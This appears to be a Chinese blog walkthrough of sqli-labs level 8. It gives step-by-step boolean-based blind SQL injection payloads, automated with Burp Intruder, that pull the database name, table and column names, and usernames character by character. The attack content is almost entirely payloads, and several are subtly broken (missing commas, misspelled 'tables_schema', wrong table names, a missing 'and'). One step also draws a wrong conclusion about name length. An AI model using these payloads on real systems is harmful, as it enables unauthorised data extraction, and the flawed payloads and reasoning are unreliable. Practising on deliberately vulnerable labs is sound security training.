SQL注入——布尔盲注

原理:前面几关都有数据回显,而在有的界面不会回显数据,只会显示对错,此时查库名等就比较难查,只能根据猜对错来判断。

关卡8

  1. 判断闭合类型!

?id=1' and 1=1 %23

单引号闭合

  1. 判断字段数!

?id=1' order by 3 %23

回显you are in .......(回显正常)

3、回显位

?id=1' and select 1,2,3 %23

没有显示位

4、布尔盲注判断数据库名长度

?id=1' and (length(database())) > n %23

回显正常(回显you are in.....) 时,库名长度为n-1

5、burp爆破数据库名

?id=1' and ascii(substr(database(),1,1)) = n %23

利用burp抓包,将包放入intruder模块,将n设置为变量,payloads设置爆破模式,类型设置为number数字类型,自增(sequential)0-127 步长1,开始,查看返回length即可查出第一位ascii码。

依次爆破出数据库名

6、判断数据库有多少张表

?id=1' and (select count(*) from information_schema.tables where table_schema = "security") = n %23

7、判断第一张表名长度

?id=1' and (length((select table_name from information_schema.tables where tables_schema = "security" limit 0,1))) = n %23

8、判断第一张表名的第一个字母

?id=1' (ascii(substr((select table_name from information_schema.tables where table_schema = "security" limit 0,1)1,1))) = n %23

同理用burp爆破

9、判断表中字段

?id=1' and (select count(*) from information_schema.columns where table_schema = "security" and table_name = "users") = 3 %23

10、判断第一个字段多少个值

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema = "security" and table_name= "name" limit 0,1)1,1))) = n %23

11、判断第一个值长度

?id=1' and (length((select username from user limit 0,1))) =n %23

12、爆数据!!!!

?id=1' and (ascii(substr((select username from users limit 0,1)1,1))) = n %23

利用burp爆破吧

var code = "caebb777-ea02-4e7f-a9e6-4d866d264ec7"
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

唐富贵666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值